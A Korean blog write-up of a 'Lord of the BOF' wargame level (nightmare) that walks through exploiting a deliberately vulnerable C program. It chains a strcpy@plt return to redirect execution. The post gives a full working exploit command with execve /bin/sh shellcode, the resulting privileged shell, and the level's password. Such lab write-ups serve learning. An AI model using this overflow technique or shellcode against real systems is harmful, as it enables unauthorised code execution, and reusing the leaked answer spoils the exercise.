본문 바로가기

워게임/lord of bof

level 17 -> 18


[succubus@localhost succubus]$ cat nightmare.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// check address

addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}



일단 ret 부분은 strcpy 함수의 주소로 넣어야 필터링을 통과할 수 있겠군요.


0x8048722 <main+110>: call   0x8048410 <strcpy> 에서 함수의 주소를 확인할 수 있습니다.


이 다음 액션은 인자를 버퍼에 넣어주고 출력시켜준 뒤 memset으로 ret 바로 다음에 오는 4byte 영역을 "AAAA"로 세팅해주네요.


argv 영역이나 환경변수 영역은 초기화를 안해주니 여기를 쉘코드 적재 영역으로 사용 가능합니다.


일단.. strcpy() 주소 뒤쪽 AAAA 위치가 뭐냐하면 앞서 문제 풀때도 언급했지만 strcpy()가 종료하고 나서 리턴 할 RET 주소입니다.


근데 AAAA로 세팅되었으니..옹잉..정말 어찌할 방법이 없으려나 싶었는데


애초에 strcpy()를 이용해서 푸는거니 방법이야 있겠지 하고 시도해봤습니당.


우선 strcpy의 인자는 건드릴 수 있으니 한번 살펴보죠!


char *strcpy(char *dest, const char *src);


복사할 데이터의 주소와 어디다가 복사할지, 버퍼의 주소를 입력받는 것을 볼 수 있습니다.


그렇다면 각각 쉘코드의 주소와 AAAA가 적재된 strcpy()의 RET를 입력하면 되지않을까요?


[succubus@localhost test]$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "TEST", "AAAA", "BBBB"'` `perl -e 'print "CCCC"'` `perl -e 'print "D"x100'`


argv 1 : "A"x44, "\x10\x84\x04\x08", "TEST", &TEST, &(&SHELLCODE)

argv 2 : &SHELLCODE

argv 3 : SHELLCODE


여러 방법을 시도해봤지만 잘 안되서 그냥 간단하게 위 방식대로 해보기로 했습니다.


나와있는 그대로 우선 argv1에는 차례대로 더미, strcpy@plt 주소, 더미 문자열 4byte(strcpy RET), 더미 문자열의 주소(strcpy dest), 쉘코드의 더블 포인터(strcpy src)입니다.


어차피 src에는 복사시킬 값이 저장된 주소를 입력해야하니 더블 포인터로 참조해줘야하구요. argv2에는 쉘코드의 포인터 즉, src의 포인터가 되죠. 그리고 argv3에는 쉘코드의 값을 저장시킬 생각입니다.


우선 간단히 분석 해보면.. 0xbffffa40에는 더미 값이 박혀있네요 그러므로 0xbffffa44에는 0xbffffa40이라는 값이 박혀있어야겠지요.


그리고 argv 3에 shellcode를 넣었습니다. 여기 주소를 구해보면 0xbffffbec라는 주소에 argv 3이 박혀있다는걸 알 수 있어요. 이 값을 argv 2에 넣어야합니다.


근데 아까 argv2를  CCCC라는 값으로 박았죠? 이건 0xbffffbe7에 박혀있군요 이 값을 이제 BBBB가 박혀있는 곳에 넣어야합니다.


그러니까 0xbffffa48에 저 값을 넣어야겠지여 주소니까..


`perl -e 'print "A"x44, "\x10\x84\x04\x08", "TEST", "\x40\xfa\xff\xbf", "\xe7\xfb\xff\xbf"'` `perl -e 'print "\xec\xfb\xff\xbf"'` `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


다음과 같은익스가 만들어집니다.


[succubus@localhost succubus]$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "TEST", "\x40\xfa\xff\xbf", "\xe7\xfb\xff\xbf"'` `perl -e 'print "\xec\xfb\xff\xbf"'` `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ?TEST@?욜?

bash$ id

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)

bash$ my-pass

euid = 518

beg for me

bash$ 


성공했습니다! '이렇게이렇게하면 풀리겠다' 라고 쉽게 생각해놓고는 익스까지 하는데 꽤 오래걸렸네요;


이번 문제가 어렵다기보다는..조금 복잡했습니다 역시 쓰면서 하는게 편한 것 같아요..bb



'워게임 > lord of bof' 카테고리의 다른 글

level 19 -> 20  (0) 2015.10.23
level 18 -> 19  (0) 2015.10.23
level 16 -> 17  (0) 2015.10.23
level 15 -> 16  (0) 2015.10.23
level 14 -> 15  (0) 2015.10.23